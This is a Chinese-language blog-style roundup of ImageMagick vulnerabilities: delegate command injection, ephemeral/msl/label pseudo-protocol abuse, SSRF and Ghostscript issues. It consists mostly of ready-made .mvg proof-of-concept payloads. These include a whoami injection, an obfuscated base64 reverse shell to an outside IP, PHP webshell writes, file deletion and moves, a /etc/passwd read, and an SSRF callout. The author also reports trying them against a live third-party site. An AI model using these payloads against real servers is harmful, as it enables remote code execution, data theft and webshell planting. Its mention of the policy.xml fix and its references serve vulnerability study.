一款使用量很广的图片处理程序,许多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等功能
本文就简单的做个汇总,细节就概述了
ImageMagick流行的原因之一,就是它功能强大,可以处理很多情况,而有一个功能delegate,作用是调用外部的lib来处理文件。调用外部lib就是执行system命令,从而产生命令执行漏洞
/etc/ImageMagick/delegates.xml
" 是 " 的html实体编码
解析https图片的时候,使用了curl命令将其下载,%o是curl输出的文件名,%M是远程的URL路径
command中 %M 直接拼接。漏洞产生,传入系统的system函数,payload只需使用反引号或闭合双引号,执行任意命令。
构造.mvg格式的图片,不用改后缀,ImageMagick会根据其内容识别为mvg图片,图片内容(POC)如下
无回显 可利用dnslog查看
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/1.jpg"|whoami")'
pop graphic-context
反弹shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvODg4OCAwPiYx== | base64 -d| bash ")'
pop graphic-context
写shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'\' > shell.php")'
pop graphic-context
影响版本:6.9.3-9
找了开心网测试了下,只能回显几个命令,感觉修了,贫穷限制了我的反弹~,有待测试
利用ImageMagick支持的伪协议ephemeral,处理特制图像时没有正确防防护,可以进行敏感操作,从而达到任意文件删除
使用以下内容创建文件 test.mvg, 图片超过0,0,0,0 使用该伪协议删除指定文件。
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/home/user/document.txt'
popgraphic-context
利用ImageMagick支持的伪协议msl,msl协议运行指定的xml文件 (后缀可改,符合xml格式即可)
上传move.png 图片超过0,0,0,0 使用伪协议msl执行xml文件 ,
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/home/test.txt'
popgraphic-context
/home/a.jpg 移动为 /var/www/shell.php 实现写shell
test.txt
# File to be copied
# Destination location
利用ImageMagick支持的伪协议label, 会生成一个 指定文本内容截图 的新图像(本地木有复现,是否是随机图像名呢,待测)
test.jpg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
mvg格式中可以包含url,无回显的SSRF
push graphic-context
viewbox 0 0 640 480
fill 'url(http://malicious_website.com/)'
pop graphic-context
修复,配置/etc/ImageMagick/policy.xml,过滤,现在更新就行
影响范围:ImageMagick 7.0.6–1和Graphicsmagick 1.3.26
https://www.freebuf.com/vuls/189776.html
不是ImageMagick漏洞,但ImageMagick受到影响
ImageMagick使用GhostScript来处理PostScript的某些类型的图像
https://paper.seebug.org/310/
http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/
https://hackerone.com/reports/302885
Google Project Zero对该漏洞的分析:https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
漏洞细节:https://medium.com/@NumbShiva/imagemagic-rce-f364a9f50a14
ExploitDB:https://www.exploit-db.com/exploits/45369/